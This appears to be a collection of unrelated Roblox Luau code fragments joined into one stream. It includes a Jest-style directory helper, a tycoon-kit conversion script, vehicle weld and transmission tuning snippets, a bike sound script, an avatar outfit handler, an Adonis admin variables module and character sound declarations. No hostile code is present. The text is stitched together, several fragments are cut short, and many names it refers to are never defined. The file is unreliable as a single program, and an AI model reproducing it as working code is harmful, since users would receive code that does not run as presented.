local getFileSystemService = require(CurrentModule.getFileSystemService) local typesModule = require(Packages.JestTypes) type Config_Path = typesModule.Config_Path local function createDirectory(path: Config_Path): () local FileSystemService = getFileSystemService() local ok, result, hasReturned = pcall(function() -- ROBLOX deviation: using FileSystemService instead of fs FileSystemService:CreateDirectories(path) end) if not ok then local e = result -- ROBLOX deviation START: additional error handling for AccessDenied case if e:find("Error%(13%): Access Denied%. Path is outside of sandbox%.") then error( "Provided path is invalid: you likely need to provide a different argument to --fs.readwrite.\n" .. "You may need to pass in `--fs.readwrite=$PWD`" ) end -- ROBLOX deviation END -- ROBLOX FIXME: investigate how to catch directory exists error if e.code ~= "EEXIST" then error(e) end end if hasReturned then return result end end exports.default = createDirectory return exports
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR
local TycoonName = "Batman Tycoon" if game.Workspace:FindFirstChild(TycoonName) then local s = nil local bTycoon = game.Workspace:FindFirstChild(TycoonName) local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit") local new_Collector = zTycoon['READ ME'].Script:Clone() local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone() if zTycoon then for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo' if v then s = v.PurchaseHandler:Clone() v:Destroy() end end -- Now make it compatiable if s ~= nil then for i,v in pairs(bTycoon.Tycoons:GetChildren()) do local New_Tycoon = v:Clone() New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy() s:Clone().Parent = New_Tycoon local Team_C = Instance.new('BrickColorValue',New_Tycoon) Team_C.Value = BrickColor.new(tostring(v.Name)) Team_C.Name = "TeamColor" New_Tycoon.Name = v.TeamName.Value New_Tycoon.Cash.Name = "CurrencyToCollect" New_Tycoon.Parent = zTycoon.Tycoons New_Tycoon.TeamName:Destroy() v:Destroy() New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy() local n = new_Collector:Clone() n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0') n.Disabled = false New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy() local g = Gate:Clone() g.Parent = New_Tycoon.Gate['Touch to claim ownership!'] end else error("Please don't tamper with script names or this won't work!") end else error("Please don't change the name of our tycoon kit or it won't work!") end bTycoon:Destroy() Gate:Destroy() new_Collector:Destroy() print('Transfer complete! :)') else error("Check if you spelt the kit's name wrong!") end
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
--[[ These are nothing but simple `TweenInfo.new()` configuration tables. Feel free to play with them if you want to adjust the different presets! ]]
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.5 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2 , --[[ 3 ]] 1.4 , --[[ 4 ]] 1.1 , --[[ 5 ]] 0.83 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Novena Constraint Type: Motorcycle The Bike Chassis RikOne2 | Enjin --]]
local bike = script.Parent.Bike.Value local _Tune = require(bike["Tuner"]) local handler = bike:WaitForChild("AC6_Sound") local on = 0 local mult=0 local det=0 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 local SetPitch = .1 local SetRev = 1.8 local vol = .7 --Set the volume for everything below handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
-- A fully qualified outfit is one that has both arms, both legs, and a torso.
local function isFullyQualifiedOutfit(assets) for _, assetTypeId in pairs(bodyPartAssetTypeIds) do if not assets[assetTypeId] then return false end end return true end return function(outfit) return function(store) local fullReset = outfit.isEditable or isFullyQualifiedOutfit(outfit.assets) -- Do a full reset on a user costume, or a preset fully qualified one. Otherwise swap the existing parts. store:dispatch(EquipOutfit(outfit.assets, fullReset)) if true then local selectedItem = store:getState().AvatarExperience.AvatarScene.TryOn.SelectedItem.itemId if selectedItem then store:dispatch(ClearSelectedItem()) store:dispatch(CloseAllItemDetails(store:getState().Navigation.history)) end end if fullReset then -- Preset costumes should not replace body colors. if not FFlagAvatarEditorKeepYourColor or (FFlagAvatarEditorKeepYourColor and not AvatarEditorUtils.isPresetCostume(outfit)) then store:dispatch(SetBodyColors(outfit.bodyColors)) end store:dispatch(SetAvatarScales(outfit.scales)) store:dispatch(SetAvatarType(outfit.avatarType)) end end end
-- Gui Elements
local ButtonText = script.Parent:FindFirstChild("ButtonText")
--// Special Variables
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server local service = Vargs.Service local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions Admin = server.Admin Anti = server.Anti Core = server.Core HTTP = server.HTTP Logs = server.Logs Remote = server.Remote Process = server.Process Variables = server.Variables Settings = server.Settings Variables.BanMessage = Settings.BanMessage Variables.LockMessage = Settings.LockMessage for _, v in ipairs(Settings.MusicList or {}) do table.insert(Variables.MusicList, v) end for _, v in ipairs(Settings.InsertList or {}) do table.insert(Variables.InsertList, v) end for _, v in ipairs(Settings.CapeList or {}) do table.insert(Variables.Capes, v) end Variables.Init = nil Logs:AddLog("Script", "Variables Module Initialized") end local function AfterInit(data) server.Variables.CodeName = server.Functions:GetRandom() Variables.RunAfterInit = nil Logs:AddLog("Script", "Finished Variables AfterInit") end local Lighting = service.Lighting server.Variables = { Init = Init, RunAfterInit = AfterInit, ZaWarudo = false, CodeName = math.random(), IsStudio = service.RunService:IsStudio(), -- Used to check if Adonis is running inside Roblox Studio as things like TeleportService and DataStores (if API Access is disabled) do not work in Studio AuthorizedToReply = {}, FrozenObjects = {}, ScriptBuilder = {}, CachedDonors = {}, BanMessage = "Banned", LockMessage = "Not Whitelisted", DonorPass = {1348327, 1990427, 1911740, 167686, 98593, "6878510605", 5212082, 5212081}, --// Strings are items, numbers are gamepasses WebPanel_Initiated = false, LightingSettings = { Ambient = Lighting.Ambient, OutdoorAmbient = Lighting.OutdoorAmbient, Brightness = Lighting.Brightness, TimeOfDay = Lighting.TimeOfDay, FogColor = Lighting.FogColor, FogEnd = Lighting.FogEnd, FogStart = Lighting.FogStart, GlobalShadows = Lighting.GlobalShadows, Outlines = Lighting.Outlines, ShadowColor = Lighting.ShadowColor, ColorShift_Bottom = Lighting.ColorShift_Bottom, ColorShift_Top = Lighting.ColorShift_Top, GeographicLatitude = Lighting.GeographicLatitude, Name = Lighting.Name, }, OriginalLightingSettings = { Ambient = Lighting.Ambient, OutdoorAmbient = Lighting.OutdoorAmbient, Brightness = Lighting.Brightness, TimeOfDay = Lighting.TimeOfDay, FogColor = Lighting.FogColor, FogEnd = Lighting.FogEnd, FogStart = Lighting.FogStart, GlobalShadows = Lighting.GlobalShadows, Outlines = Lighting.Outlines, ShadowColor = Lighting.ShadowColor, ColorShift_Bottom = Lighting.ColorShift_Bottom, ColorShift_Top = Lighting.ColorShift_Top, GeographicLatitude = Lighting.GeographicLatitude, Name = Lighting.Name, Sky = Lighting:FindFirstChildOfClass("Sky") and Lighting:FindFirstChildOfClass("Sky"):Clone(), }, PMtickets = {}; HelpRequests = {}; Objects = {}; InsertedObjects = {}; CommandLoops = {}; SavedTools = {}; Waypoints = {}; Cameras = {}; Jails = {}; LocalEffects = {}; SizedCharacters = {}; BundleCache = {}; TrackingTable = {}; DisguiseBindings = {}; IncognitoPlayers = {}; MusicList = { {Name = "crabrave", ID = 5410086218}, {Name = "shiawase", ID = 5409360995}, {Name = "unchartedwaters", ID = 7028907200}, {Name = "glow", ID = 7028856935}, {Name = "good4me", ID = 7029051434}, {Name = "bloom", ID = 7029024726}, {Name = "safe&sound", ID = 7024233823}, {Name = "shaku", ID = 7024332460}, {Name = "fromdust&ashes", ID = 7024254685}, {Name = "loveis", ID = 7029092469}, {Name = "playitcool", ID = 7029017448}, {Name = "still", ID = 7023771708}, {Name = "sleep", ID = 7023407320}, {Name = "whatareyouwaitingfor", ID = 7028977687}, {Name = "balace", ID = 7024183256}, {Name = "brokenglass", ID = 7028799370}, {Name = "thelanguageofangels", ID = 7029031068}, {Name = "imprints", ID = 7023704173}, {Name = "foundareason", ID = 7028919492}, {Name = "newhorizons", ID = 7028518546}, {Name = "whatsitlike", ID = 7028997537}, {Name = "destroyme", ID = 7023617400}, {Name = "consellations", ID = 7023733671}, {Name = "wish", ID = 7023670701}, {Name = "samemistake", ID = 7024101188}, {Name = "whereibelong", ID = 7028527348}, }; InsertList = {}; Capes = { {Name = "crossota", Material = "Neon", Color = "Cyan", ID = 420260457}, {Name = "jamiejr99", Material = "Neon", Color = "Cashmere", ID = 429297485}, {Name = "new yeller", Material = "Fabric", Color = "New Yeller"}, {Name = "pastel blue", Material = "Fabric", Color = "Pastel Blue"}, {Name = "dusty rose", Material = "Fabric", Color = "Dusty Rose"}, {Name = "cga brown", Material = "Fabric", Color = "CGA brown"}, {Name = "random", Material = "Fabric", Color = (BrickColor.random()).Name}, {Name = "shiny", Material = "Plastic", Color = "Institutional white", Reflectance = 1}, {Name = "gold", Material = "Plastic", Color = "Bright yellow", Reflectance = 0.4}, {Name = "kohl", Material = "Fabric", Color = "Really black", ID = 108597653}, {Name = "script", Material = "Plastic", Color = "White", ID = 151359194}, {Name = "batman", Material = "Fabric", Color = "Institutional white", ID = 108597669}, {Name = "epix", Material = "Plastic", Color = "Really black", ID = 149442745}, {Name = "superman", Material = "Fabric", Color = "Bright blue", ID = 108597677}, {Name = "swag", Material = "Fabric", Color = "Pink", ID = 109301474}, {Name = "donor", Material = "Plastic", Color = "White", ID = 149009184}, {Name = "gomodern", Material = "Plastic", Color = "Really black", ID = 149438175}, {Name = "admin", Material = "Plastic", Color = "White", ID = 149092195}, {Name = "giovannis", Material = "Plastic", Color = "White", ID = 149808729}, {Name = "godofdonuts", Material = "Plastic", Color = "Institutional white", ID = 151034443}, {Name = "host", Material = "Plastic", Color = "Really black", ID = 152299000}, {Name = "cohost", Material = "Plastic", Color = "Really black", ID = 152298950}, {Name = "trainer", Material = "Plastic", Color = "Really black", ID = 152298976}, {Name = "ba", Material = "Plastic", Color = "White", ID = 172528001} }; Blacklist = { Enabled = (server.Settings.BlacklistEnabled ~= nil and server.Settings.BlacklistEnabled) or true, Lists = { Settings = server.Settings.Blacklist }, }; Whitelist = { Enabled = server.Settings.WhitelistEnabled, Lists = { Settings = server.Settings.Whitelist }, }; } end
-- declarations
local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sGettingUp = newSound("rbxasset://sounds/action_get_up.mp3") local sDied = newSound("") local sFreeFalling = newSound("rbxasset://sounds/action_falling.mp3") local sJumping = newSound("rbxasset://sounds/action_jump.mp3") local sLanding = newSound("rbxasset://sounds/action_jump_land.mp3") local sSplash = newSound("rbxasset://sounds/impact_water.mp3") local sRunning = newSound("rbxasset://sounds/action_footsteps_plastic.mp3") sRunning.Looped = true local sSwimming = newSound("rbxasset://sounds/action_swim.mp3") sSwimming.Looped = true local sClimbing = newSound("rbxasset://sounds/action_footsteps_plastic.mp3") sClimbing.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") local prevState = "None"